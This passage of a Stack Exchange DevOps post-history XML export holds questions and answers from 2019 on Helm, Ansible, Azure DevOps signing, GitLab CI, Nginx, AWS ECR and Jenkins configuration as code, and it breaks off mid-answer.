  <row Id="27114" PostHistoryTypeId="2" PostId="9208" RevisionGUID="ee6b2066-fac7-41ce-8047-399c40c82e2a" CreationDate="2019-09-19T13:42:45.883" UserId="17175" Text="Check https://github.com/helm/helm/issues/3130, this might help.&#xD;&#xA;I followed the instruction in the post:&#xD;&#xA;```&#xD;&#xA;kubectl --namespace kube-system create serviceaccount tiller&#xD;&#xA;&#xD;&#xA;kubectl create clusterrolebinding tiller --clusterrole cluster-admin --serviceaccount=kube-system:tiller&#xD;&#xA;&#xD;&#xA;helm init --service-account tiller --upgrade&#xD;&#xA;```&#xD;&#xA;This works for me.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27115" PostHistoryTypeId="2" PostId="9209" RevisionGUID="f4f912db-1d50-4200-b13d-4a5c7a2e1de2" CreationDate="2019-09-19T13:57:53.790" UserId="17174" Text="I'd like to remove the execute bit from some ubuntu motd (Message of the day) files with ansible to disable some ad-like Ubuntu news.&#xD;&#xA;The module should only act if files exist and permissions are wrong.&#xD;&#xA;&#xD;&#xA;If there are no files the tasks are running fine, but as soon as a file exists, I'm getting this:&#xD;&#xA;&#xD;&#xA;**Error Message:**&#xD;&#xA;&#xD;&#xA;    failed: [ip] (item={'_ansible_parsed': True, u'stat': {u'isuid': False, u'uid': 0, u'exists': True, u'attr_flags': [... redacted the rest of the file attributes from stat ...]&#xD;&#xA;&#xD;&#xA;Mayboe someone can help?&#xD;&#xA;&#xD;&#xA;Here the files of my role:&#xD;&#xA;&#xD;&#xA;**defaults/main.yml**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;motd_path: '/etc/update-motd.d'&#xD;&#xA;unwanted_motd_files:&#xD;&#xA;  - 10-help-text&#xD;&#xA;  - 50-motd-news&#xD;&#xA;```&#xD;&#xA;**tasks/main.yml**&#xD;&#xA;```&#xD;&#xA;---&#xD;&#xA;- name: Register unwanted motd files&#xD;&#xA;  stat:&#xD;&#xA;    path: &quot;{{motd_path}}/{{item}}&quot;&#xD;&#xA;  register: filecheck&#xD;&#xA;  with_items: &quot;{{ unwanted_motd_files | default([]) }}&quot;&#xD;&#xA;&#xD;&#xA;- name: Check if unwanted motd files are executable and remove the executable bit&#xD;&#xA;  file:&#xD;&#xA;    path: &quot;{{motd_path}}/{{ item }}&quot;&#xD;&#xA;    state: touch&#xD;&#xA;    mode: u-x,g-x,o-x&#xD;&#xA;  with_items: &quot;{{ filecheck.results }}&quot;&#xD;&#xA;  when: item.stat.exists == true&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27116" PostHistoryTypeId="1" PostId="9209" RevisionGUID="f4f912db-1d50-4200-b13d-4a5c7a2e1de2" CreationDate="2019-09-19T13:57:53.790" UserId="17174" Text="Loop chmod with Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="27117" PostHistoryTypeId="3" PostId="9209" RevisionGUID="f4f912db-1d50-4200-b13d-4a5c7a2e1de2" CreationDate="2019-09-19T13:57:53.790" UserId="17174" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27121" PostHistoryTypeId="2" PostId="9211" RevisionGUID="ba726807-9c8e-4236-bef5-a0aae800343a" CreationDate="2019-09-19T16:28:38.923" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="27122" PostHistoryTypeId="1" PostId="9211" RevisionGUID="ba726807-9c8e-4236-bef5-a0aae800343a" CreationDate="2019-09-19T16:28:38.923" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27123" PostHistoryTypeId="2" PostId="9212" RevisionGUID="fb09eb2d-6bf2-4c62-a17c-737a734904c2" CreationDate="2019-09-19T16:28:38.923" UserId="210" Text="Use this tag if a question is about apt." ContentLicense="CC BY-SA 4.0" />
  <row Id="27124" PostHistoryTypeId="1" PostId="9212" RevisionGUID="fb09eb2d-6bf2-4c62-a17c-737a734904c2" CreationDate="2019-09-19T16:28:38.923" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27125" PostHistoryTypeId="2" PostId="9213" RevisionGUID="cbf3a6e4-a0f1-4ea0-9442-3b950d0ce640" CreationDate="2019-09-19T16:40:51.003" UserId="17174" Text="Ok, solved it :)&#xD;&#xA;&#xD;&#xA;Here the task for everyone who intends to do the same.&#xD;&#xA;&#xD;&#xA;Only the skip/changed console output could be replaced by a nicer message.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Register unwanted motd files&#xD;&#xA;  stat:&#xD;&#xA;    path: &quot;{{motd_path}}/{{item}}&quot;&#xD;&#xA;  register: filecheck&#xD;&#xA;  with_items: &quot;{{ unwanted_motd_files | default([]) }}&quot;&#xD;&#xA;&#xD;&#xA;- name: Check if unwanted motd files are executable and remove the executable bit&#xD;&#xA;  file:&#xD;&#xA;    path: &quot;{{motd_path}}/{{item.item}}&quot;&#xD;&#xA;    state: touch&#xD;&#xA;    mode: u-x,g-x,o-x&#xD;&#xA;  with_items: &quot;{{ filecheck.results }}&quot;&#xD;&#xA;  when: item.stat.exists == true and item.stat.executable == True&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27126" PostHistoryTypeId="2" PostId="9214" RevisionGUID="5710e101-1bf9-419b-b9cd-fb68125bf476" CreationDate="2019-09-19T17:01:29.477" UserId="17181" Text="I'm trying to set up an Azure DevOps pipeline to build a macOS app. I think I have all the necessary steps in place, and it runs as far as I expect it to for now.&#xD;&#xA;&#xD;&#xA;However, I now have reached the step where, in order to sign the product, the build machine device must be included in our provisioning profiles, which means we have to add its UUID to the list of devices in Apple Developer.&#xD;&#xA;&#xD;&#xA;[![Two errors dictating that the profile doesn't include the device][1]][1]&#xD;&#xA;&#xD;&#xA;How do I get this pipeline to use this profile? I imagine a solution might involve one of these:&#xD;&#xA;&#xD;&#xA; - There's a way to find the UUIDs of every Mac which might run the pipeline&#xD;&#xA; - There's a way to restrict that pipeline to always use the same Mac with the same UUID&#xD;&#xA; - There's a way to specify/spoof the UUID of the build machine&#xD;&#xA; - There's an API or something to register the build machine with Apple Developer at build time&#xD;&#xA; - Azure DevOps has a special way to circumvent this part of the build process while still allowing signing&#xD;&#xA; - Apple has some special way I don't know about to allow an arbitrary build machine to sign without knowing its UUID beforehand&#xD;&#xA;&#xD;&#xA;I've looked around for all these and can't find definitive info for any of them. **Does anyone know the best practice for signing an Xcode project pipeline in Azure DevOps using a specific set of provisioning profiles?**&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Zn0hp.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27127" PostHistoryTypeId="1" PostId="9214" RevisionGUID="5710e101-1bf9-419b-b9cd-fb68125bf476" CreationDate="2019-09-19T17:01:29.477" UserId="17181" Text="How do I get the UUID of a build Mac from Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27128" PostHistoryTypeId="3" PostId="9214" RevisionGUID="5710e101-1bf9-419b-b9cd-fb68125bf476" CreationDate="2019-09-19T17:01:29.477" UserId="17181" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27129" PostHistoryTypeId="2" PostId="9215" RevisionGUID="009b747b-6de4-4d5c-8bf9-45276a5f0ece" CreationDate="2019-09-19T19:26:35.810" UserId="17183" Text="Checkout this solution with codepipeline.  https://aws.amazon.com/blogs/big-data/implement-continuous-integration-and-delivery-of-serverless-aws-glue-etl-applications-using-aws-developer-tools/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27130" PostHistoryTypeId="2" PostId="9216" RevisionGUID="10ecd0a9-2ff5-44c9-8a3f-cb20cdb6adc6" CreationDate="2019-09-19T19:45:54.577" UserId="16480" Text="I'm currently using Gitlab CI/CD combined with Fastlane on our build machine to perform nightly builds of an iOS app, and push those builds to TestFlight on completion. So far, so good. However, I've been asked to generate a change log of the new commits that have gone into each night's build.&#xD;&#xA;&#xD;&#xA;Is it possible to get not just the `CI_COMMIT_SHA` of the current pipeline run, but also the SHA of the previous commit that the pipeline last ran for? That way, I could generate a change log of what's new in the current pipeline run? After searching the docs on Gitlab.com, I'm coming up empty so far.&#xD;&#xA;&#xD;&#xA;As part of the pipeline, we also generate a build manifest that includes the current commit SHAs used for the build, and save that as an artifact. So, if it was possible to download the most recent artifacts, I could also maybe just look at that manifest, but again, I'm not seeing a way to do that either." ContentLicense="CC BY-SA 4.0" />
  <row Id="27131" PostHistoryTypeId="1" PostId="9216" RevisionGUID="10ecd0a9-2ff5-44c9-8a3f-cb20cdb6adc6" CreationDate="2019-09-19T19:45:54.577" UserId="16480" Text="GitLab CI/CD: How do I generate a change log between pipeline runs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27132" PostHistoryTypeId="3" PostId="9216" RevisionGUID="10ecd0a9-2ff5-44c9-8a3f-cb20cdb6adc6" CreationDate="2019-09-19T19:45:54.577" UserId="16480" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27133" PostHistoryTypeId="2" PostId="9217" RevisionGUID="8d400d4a-a842-4c01-87d3-07dbb8f1ab03" CreationDate="2019-09-20T05:15:26.027" UserId="16959" Text="You need to install docker in the image you are using.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27134" PostHistoryTypeId="5" PostId="9217" RevisionGUID="49ec12fe-1f0a-4daa-bf39-31e623074ff8" CreationDate="2019-09-20T05:26:48.157" UserId="16959" Comment="added 15 characters in body" Text="Try adding,`- steup_remote_docker` before `- aws-ecr/build-image:`" ContentLicense="CC BY-SA 4.0" />
  <row Id="27136" PostHistoryTypeId="12" PostId="9215" RevisionGUID="16e37b98-83c3-4fee-a6a0-10f4a14cc9d9" CreationDate="2019-09-20T08:00:55.653" UserId="13" Comment="Converted to Comment" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="27137" PostHistoryTypeId="2" PostId="9218" RevisionGUID="696d571d-361f-4d83-8ddb-0792bcdd8da9" CreationDate="2019-09-20T08:21:51.447" UserId="17190" Text="I want to deploy a Flask API on AWS using Docker. A common way seems to be using a combination of Nginx + app server (e.g Gunicorn) + Flask app.&#xD;&#xA;&#xD;&#xA;The reason to use app server seems obvious to me. However, since I plan to use AWS ALB I'm not sure if there's a need for Nginx anymore? From my understanding Nginx is used for connection handling and serving static resources. In my case I don't need any of these: the connection is handled already by ALB (AFAIK) and I won't have to serve static resources.&#xD;&#xA;&#xD;&#xA;Are there any other advantages of using Nginx for a low latency API service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27138" PostHistoryTypeId="1" PostId="9218" RevisionGUID="696d571d-361f-4d83-8ddb-0792bcdd8da9" CreationDate="2019-09-20T08:21:51.447" UserId="17190" Text="What's the benefit of using Nginx to serve a Flask API on AWS?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27139" PostHistoryTypeId="3" PostId="9218" RevisionGUID="696d571d-361f-4d83-8ddb-0792bcdd8da9" CreationDate="2019-09-20T08:21:51.447" UserId="17190" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;nginx&gt;&lt;api&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27142" PostHistoryTypeId="50" PostId="8944" RevisionGUID="adc3559e-eb4b-413d-84d6-48674c9cbd6d" CreationDate="2019-09-20T13:01:06.440" UserId="-1" />
  <row Id="27143" PostHistoryTypeId="2" PostId="9220" RevisionGUID="bb0aec8a-62ac-483c-8602-d9622547ef71" CreationDate="2019-09-20T13:18:03.547" UserId="15792" Text="Unless you are using the [AWS API Gateway][1], you'll still need some way of &quot;serving&quot; your Flask API.  You will also need to provision an EC2 instance and run something to serve your API.  Instead of running a windows EC2 instance with IIS you can save about 50% operating cost and use Nginx on a linux EC2 instance.  Additionally, Nginx can be used as a [reverse proxy][2], and supports [caching][3] which you may find beneficial.&#xD;&#xA;&#xD;&#xA;However, because you are using an Application Load Balancer and are looking into Gunicorn to serve the API you probably don't *need* Nginx, and it would just require more overhead for deployments if you are not going to setup any of the features in Nginx.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/api-gateway/&#xD;&#xA;  [2]: https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/&#xD;&#xA;  [3]: https://docs.nginx.com/nginx/admin-guide/content-cache/content-caching/" ContentLicense="CC BY-SA 4.0" />
  <row Id="27144" PostHistoryTypeId="2" PostId="9221" RevisionGUID="f12bb749-a672-4cd1-9d09-cfc4ebabcdff" CreationDate="2019-09-20T15:26:35.683" UserId="3125" Text="GitLab and GitLab runners are running on the same host (I know how bad it is). There is an IAM Role attached to the EC2 on which GitLab is running.&#xD;&#xA;&#xD;&#xA;This IAM Role gives the permission to perform some actions on multi-account ECR's.&#xD;&#xA;&#xD;&#xA;Runners use docker as executor and assume role perfectly to push,pull images.&#xD;&#xA;But, if images need to be pulled/pushed to the account on which GitLab is running, it doesn't work. I first need to pull images on the GitLab host so they are accessible within the runners.&#xD;&#xA;&#xD;&#xA;I did a small test: I manually started a container directly on the GitLab host and ran `aws ecr get-login...` and I was able to login on the account.&#xD;&#xA;&#xD;&#xA;I've installed amazon-ecr-credential-helper and configured like stated in the doc.&#xD;&#xA;&#xD;&#xA;I don't understand why runners cannot pull images from the account..." ContentLicense="CC BY-SA 4.0" />
  <row Id="27145" PostHistoryTypeId="1" PostId="9221" RevisionGUID="f12bb749-a672-4cd1-9d09-cfc4ebabcdff" CreationDate="2019-09-20T15:26:35.683" UserId="3125" Text="GitLab runner not able to fetch AWS ECR images in the current AWS account" ContentLicense="CC BY-SA 4.0" />
  <row Id="27146" PostHistoryTypeId="3" PostId="9221" RevisionGUID="f12bb749-a672-4cd1-9d09-cfc4ebabcdff" CreationDate="2019-09-20T15:26:35.683" UserId="3125" Text="&lt;docker&gt;&lt;gitlab-ci-runner&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27147" PostHistoryTypeId="2" PostId="9222" RevisionGUID="955d8fdf-a9a5-48bd-903b-75f616e13456" CreationDate="2019-09-20T18:22:14.120" UserDisplayName="user17155" Text="Are there published upper limits or hard caps for the GCE CPU or Managed Instance Group Quota per account? I know that you can request to increase your Quota, but I have not been able to find what the limits are for these requests." ContentLicense="CC BY-SA 4.0" />
  <row Id="27148" PostHistoryTypeId="1" PostId="9222" RevisionGUID="955d8fdf-a9a5-48bd-903b-75f616e13456" CreationDate="2019-09-20T18:22:14.120" UserDisplayName="user17155" Text="GCP compute quota hard caps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27149" PostHistoryTypeId="3" PostId="9222" RevisionGUID="955d8fdf-a9a5-48bd-903b-75f616e13456" CreationDate="2019-09-20T18:22:14.120" UserDisplayName="user17155" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27150" PostHistoryTypeId="5" PostId="8975" RevisionGUID="29146c41-74de-4aa0-a036-0997932310c5" CreationDate="2019-09-20T18:24:35.097" UserId="800" Comment="Better Formatting" Text="**Versions**  &#xD;&#xA;Vagrant: 1.9.5  &#xD;&#xA;Provider: Virtualbox 5.2.30  &#xD;&#xA;Guest: precise32  &#xD;&#xA;Host: windows 7 -32bit, build:7600  &#xD;&#xA;Powershell: 2.0 &#xD;&#xA;&#xD;&#xA;**Vagrant destroy &amp; up output**  &#xD;&#xA;nothing happens here...just an empty directory &quot; .vagrant &quot; is being created&#xD;&#xA;&#xD;&#xA;**Expected behavior**  &#xD;&#xA;virtualbox should be picked up by vagrant&#xD;&#xA;&#xD;&#xA;**Actual behavior**  &#xD;&#xA;Cursor blinks ..that's it&#xD;&#xA;nothing happens on -&gt; vagrant up and on -&gt; vagrant global-status -&gt;it shows &quot;There are no active Vagrant environments on this computer! &quot;&#xD;&#xA;&#xD;&#xA;**Possible reasons for this behavior**  &#xD;&#xA;I thinks there are some version dependecies between vagrant, virtualbox &amp; powershell. I dont know i'm just guessing..&#xD;&#xA;&#xD;&#xA;**NOTE**  &#xD;&#xA;I have read numerous official docs and similar previous issue.., nothing worked. when vagrant up command is issued, it does nothing, the cursor keeps blinking forever.&#xD;&#xA;&#xD;&#xA;**NOTE**   &#xD;&#xA;I know this is dumb question, I can use latest releases but is there anything I can do with this setup&#xD;&#xA;&#xD;&#xA;  [![enter image description here][1]][1]&#xD;&#xA;  [1]: https://i.stack.imgur.com/LQ5U4.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="27151" PostHistoryTypeId="24" PostId="8975" RevisionGUID="29146c41-74de-4aa0-a036-0997932310c5" CreationDate="2019-09-20T18:24:35.097" Comment="Proposed by 800 approved by -1 edit id of 1072" ContentLicense="CC BY-SA 4.0" />
  <row Id="27152" PostHistoryTypeId="5" PostId="8975" RevisionGUID="4124624c-74e8-47c3-8c93-edcb25a836e4" CreationDate="2019-09-20T18:24:35.097" UserId="40" Comment="deleted 3 characters in body" Text="**Versions**  &#xD;&#xA;Vagrant: 1.9.5  &#xD;&#xA;Provider: Virtualbox 5.2.30  &#xD;&#xA;Guest: precise32  &#xD;&#xA;Host: windows 7 -32bit, build:7600  &#xD;&#xA;Powershell: 2.0 &#xD;&#xA;&#xD;&#xA;**Vagrant destroy &amp; up output**  &#xD;&#xA;nothing happens here...just an empty directory &quot; .vagrant &quot; is being created&#xD;&#xA;&#xD;&#xA;**Expected behavior**  &#xD;&#xA;virtualbox should be picked up by vagrant&#xD;&#xA;&#xD;&#xA;**Actual behavior**  &#xD;&#xA;Cursor blinks ..that's it&#xD;&#xA;nothing happens on -&gt; vagrant up and on -&gt; vagrant global-status -&gt;it shows &quot;There are no active Vagrant environments on this computer! &quot;&#xD;&#xA;&#xD;&#xA;**Possible reasons for this behavior**  &#xD;&#xA;I think there are some version dependecies between vagrant, virtualbox &amp; powershell. I don't know I'm just guessing.&#xD;&#xA;&#xD;&#xA;**NOTE**  &#xD;&#xA;I have read numerous official docs and similar previous issue, nothing worked. when vagrant up command is issued, it does nothing, the cursor keeps blinking forever.&#xD;&#xA;&#xD;&#xA;**NOTE**   &#xD;&#xA;I know this is dumb question, I can use latest releases but is there anything I can do with this setup&#xD;&#xA;&#xD;&#xA;  [![enter image description here][1]][1]&#xD;&#xA;  [1]: https://i.stack.imgur.com/LQ5U4.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="27153" PostHistoryTypeId="2" PostId="9223" RevisionGUID="25085991-8dcc-40c7-a27b-e22755465b24" CreationDate="2019-09-20T18:54:43.283" UserId="15792" Text="There is a Quotas page in the GCP console.  This Google help doc will tell you more and how to go about identifying your limits and increasing your quotas: https://cloud.google.com/compute/quotas" ContentLicense="CC BY-SA 4.0" />
  <row Id="27154" PostHistoryTypeId="2" PostId="9224" RevisionGUID="727ba519-c91f-4e44-b11b-d6a40ea14412" CreationDate="2019-09-20T19:27:32.247" UserId="15792" Text="If I have a mix of cloud and &quot;on-prem&quot; (across different networks) systems to deploy to is there a common tool, technique, or software available?  I've used Kubernetes for cloud deployments, but am unsure of what approach to take when On-Prem installs/upgrades are mixed in.&#xD;&#xA;&#xD;&#xA;Is is considered best practice to attempt to standardize the deployment or work with the ops team to develop two separate deployment strategies?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27155" PostHistoryTypeId="1" PostId="9224" RevisionGUID="727ba519-c91f-4e44-b11b-d6a40ea14412" CreationDate="2019-09-20T19:27:32.247" UserId="15792" Text="On-Prem and Cloud Deployments" ContentLicense="CC BY-SA 4.0" />
  <row Id="27156" PostHistoryTypeId="3" PostId="9224" RevisionGUID="727ba519-c91f-4e44-b11b-d6a40ea14412" CreationDate="2019-09-20T19:27:32.247" UserId="15792" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27157" PostHistoryTypeId="2" PostId="9225" RevisionGUID="a3c71e7d-f6b1-407b-8783-f5b98ab5fdb9" CreationDate="2019-09-20T21:36:53.777" UserId="210" Text="We are using the Jenkins Configuration As Code (JCAC) plugin to automate the jenkins configuration. One of the challenges is to set `git-lfs` as an additional checkout behavior." ContentLicense="CC BY-SA 4.0" />
  <row Id="27158" PostHistoryTypeId="1" PostId="9225" RevisionGUID="a3c71e7d-f6b1-407b-8783-f5b98ab5fdb9" CreationDate="2019-09-20T21:36:53.777" UserId="210" Text="How to set git-lfs as an additional checkout behavior using the JCAC plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27159" PostHistoryTypeId="3" PostId="9225" RevisionGUID="a3c71e7d-f6b1-407b-8783-f5b98ab5fdb9" CreationDate="2019-09-20T21:36:53.777" UserId="210" Text="&lt;jenkins&gt;&lt;jcac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27160" PostHistoryTypeId="2" PostId="9226" RevisionGUID="3007e37f-ab80-41e8-bbe6-c7143a7d32ca" CreationDate="2019-09-20T21:37:46.530" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="27161" PostHistoryTypeId="1" PostId="9226" RevisionGUID="3007e37f-ab80-41e8-bbe6-c7143a7d32ca" CreationDate="2019-09-20T21:37:46.530" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27162" PostHistoryTypeId="2" PostId="9227" RevisionGUID="a17855b4-5ba8-4ebf-b53e-769ad6a43295" CreationDate="2019-09-20T21:37:46.530" UserId="210" Text="Use this tag if a question is about Jenkins Configuration As Code (JCAC) plugin." ContentLicense="CC BY-SA 4.0" />
  <row Id="27163" PostHistoryTypeId="1" PostId="9227" RevisionGUID="a17855b4-5ba8-4ebf-b53e-769ad6a43295" CreationDate="2019-09-20T21:37:46.530" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27164" PostHistoryTypeId="2" PostId="9228" RevisionGUID="5780aaea-5cca-4f12-a8d3-fe7f6b9ef441" CreationDate="2019-09-20T21:39:14.857" UserId="210" Text="This Q&amp;A is related to [this][1] one and is slightly different. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/9225/210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27165" PostHistoryTypeId="1" PostId="9228" RevisionGUID="5780aaea-5cca-4f12-a8d3-fe7f6b9ef441" CreationDate="2019-09-20T21:39:14.857" UserId="210" Text="How to set a shared-library globally using the JCAC plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27166" PostHistoryTypeId="3" PostId="9228" RevisionGUID="5780aaea-5cca-4f12-a8d3-fe7f6b9ef441" CreationDate="2019-09-20T21:39:14.857" UserId="210" Text="&lt;jenkins&gt;&lt;jcac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27167" PostHistoryTypeId="2" PostId="9229" RevisionGUID="4d182e18-7ab3-442e-9c96-48c93ed568c2" CreationDate="2019-09-20T21:46:41.450" UserId="210" Text="Another question that is related to [this one][1]. We try to configure the `shallow clone` using Jenkins Configuration As Code (JCAC).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/9225/210" ContentLicense="CC BY-SA 4.0" />
  <row Id="27168" PostHistoryTypeId="1" PostId="9229" RevisionGUID="4d182e18-7ab3-442e-9c96-48c93ed568c2" CreationDate="2019-09-20T21:46:41.450" UserId="210" Text="How to enable shallow clone using JCAC?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27169" PostHistoryTypeId="3" PostId="9229" RevisionGUID="4d182e18-7ab3-442e-9c96-48c93ed568c2" CreationDate="2019-09-20T21:46:41.450" UserId="210" Text="&lt;jenkins&gt;&lt;jcac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27170" PostHistoryTypeId="5" PostId="9225" RevisionGUID="c3fe7cd3-0ef5-4be5-b5b8-3a19b43562d4" CreationDate="2019-09-20T22:00:07.560" UserId="210" Comment="added 262 characters in body" Text="We are using the Jenkins Configuration As Code (JCAC) plugin to automate the jenkins configuration. One of the challenges is to set `git-lfs` as an additional checkout behavior.&#xD;&#xA;&#xD;&#xA;`GitLFSPull` has to be configured, but it does not seem to be included in the [DSL][1]:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkinsci.github.io/job-dsl-plugin/#path/multibranchPipelineJob&#xD;&#xA;  [2]: https://i.stack.imgur.com/0R118.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27171" PostHistoryTypeId="50" PostId="6896" RevisionGUID="c4682f6d-a382-4192-ad96-a665a8fdf5cc" CreationDate="2019-09-20T22:02:05.293" UserId="-1" />
  <row Id="27172" PostHistoryTypeId="5" PostId="9229" RevisionGUID="4bde6a6d-e2ed-414f-961b-7dba08ceb7b9" CreationDate="2019-09-20T22:05:24.337" UserId="210" Comment="added 266 characters in body" Text="Another question that is related to [this one][1]. We try to configure the `shallow clone` using Jenkins Configuration As Code (JCAC). Although a configuration section is [available][2], `shallow clone` seems to be omitted:&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/9225/210&#xD;&#xA;  [2]: https://jenkinsci.github.io/job-dsl-plugin/#path/multibranchPipelineJob-configure&#xD;&#xA;  [3]: https://i.stack.imgur.com/q7Nlh.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27173" PostHistoryTypeId="2" PostId="9230" RevisionGUID="a26bcf18-734f-4b1e-9118-efbaa6d97b4f" CreationDate="2019-09-20T22:18:17.470" UserId="210" Text="https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/demos/jenkins/jenkins.yaml&#xD;&#xA;&#xD;&#xA;It should be possible by configuring it like this:&#xD;&#xA;&#xD;&#xA;    unclassified:&#xD;&#xA;      globalLibraries:&#xD;&#xA;        libraries:&#xD;&#xA;          - name: &quot;some-lib&quot;&#xD;&#xA;            retriever:&#xD;&#xA;              modernSCM:&#xD;&#xA;                scm:&#xD;&#xA;                  git:&#xD;&#xA;                    remote: &quot;https://github.com/some-project.git&quot;&#xD;&#xA;                    credentialsId: 'some-credentials'" ContentLicense="CC BY-SA 4.0" />
  <row Id="27181" PostHistoryTypeId="50" PostId="4925" RevisionGUID="dcbf0ba3-246a-4ba4-86af-5622832a2807" CreationDate="2019-09-21T01:00:40.067" UserId="-1" />
  <row Id="27182" PostHistoryTypeId="50" PostId="8956" RevisionGUID="a173634f-af7d-4e17-84f1-ca0a62c6285e" CreationDate="2019-09-21T02:01:05.670" UserId="-1" />
  <row Id="27183" PostHistoryTypeId="50" PostId="6805" RevisionGUID="2704ae77-d833-477f-9b2f-1433e3c3a72e" CreationDate="2019-09-21T03:03:35.550" UserId="-1" />
  <row Id="27184" PostHistoryTypeId="2" PostId="9231" RevisionGUID="f1b92628-e2d6-4b26-95d4-924c8eccdf4f" CreationDate="2019-09-21T03:55:08.503" UserId="16151" Text="I've got the following OpenStack commands for setting up Swift object storage containers:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;openstack container create $CONTAINER_NAME&#xD;&#xA;openstack container set --property Full-Key=$CONTAINER_API_KEY $CONTAINER_NAME&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'd like to convert them to Ansible so they can be run as part of a role.&#xD;&#xA;&#xD;&#xA;For the first command, I know I can use the [os_object](https://docs.ansible.com/ansible/latest/modules/os_object_module.html) module for creating the container, but it doesn't appear to provide a parameter for setting a property, which in this case is for setting up key access to the container.  (It's based on the documentation at [Container Specific API Keys](http://docs.clouda.ca/bulk-storage/container-keys).)&#xD;&#xA;&#xD;&#xA;So how would I execute the second command within Ansible natively, without resorting to running the shell command directly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27185" PostHistoryTypeId="1" PostId="9231" RevisionGUID="f1b92628-e2d6-4b26-95d4-924c8eccdf4f" CreationDate="2019-09-21T03:55:08.503" UserId="16151" Text="How does one set up OpenStack Swift (object) storage container-specific API keys with Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27186" PostHistoryTypeId="3" PostId="9231" RevisionGUID="f1b92628-e2d6-4b26-95d4-924c8eccdf4f" CreationDate="2019-09-21T03:55:08.503" UserId="16151" Text="&lt;ansible&gt;&lt;storage&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27187" PostHistoryTypeId="50" PostId="6877" RevisionGUID="b5b3c925-9364-4d73-af76-0bbb24245898" CreationDate="2019-09-21T07:01:25.220" UserId="-1" />
  <row Id="27188" PostHistoryTypeId="2" PostId="9232" RevisionGUID="9099b0b5-c93d-498b-b767-ae5a3c08ebb2" CreationDate="2019-09-21T08:07:31.927" UserId="2847" Text="Please below where I address specific questions.&#xD;&#xA;&#xD;&#xA;&gt; 2: do we need to use docker? if not how it should be done&#xD;&#xA;&#xD;&#xA;By using Docker you can automate the configuration of your server images as well as application images to use to deploy to staging and into production.&#xD;&#xA;&#xD;&#xA;Docker use standard images that you build on by adding your custom software installation and commands into the image. As Docker is mean to run one service per container (a running image), you are also having the benefit of beginning to decouple your applications into microservices.&#xD;&#xA;&#xD;&#xA;Take a look at Docker &quot;images&quot;, &quot;containers&quot; and &quot;Dockerfiles&quot;, to get an understanding of the principles and architecture.&#xD;&#xA;&#xD;&#xA;The benefit of automating your infrastructure with Docker images that are created with Dockerfiles are many:&#xD;&#xA;- Your setup becomes less prone to manual mistakes.&#xD;&#xA;- Faster spin-up of services (your app or software) in staging, and also in production. You can batch the spinning up of containers.&#xD;&#xA;- Simpler overview of the tasks involved to setup your servers. As you begin to write Dockerfiles you are taken down the thought process of both development and operations, because 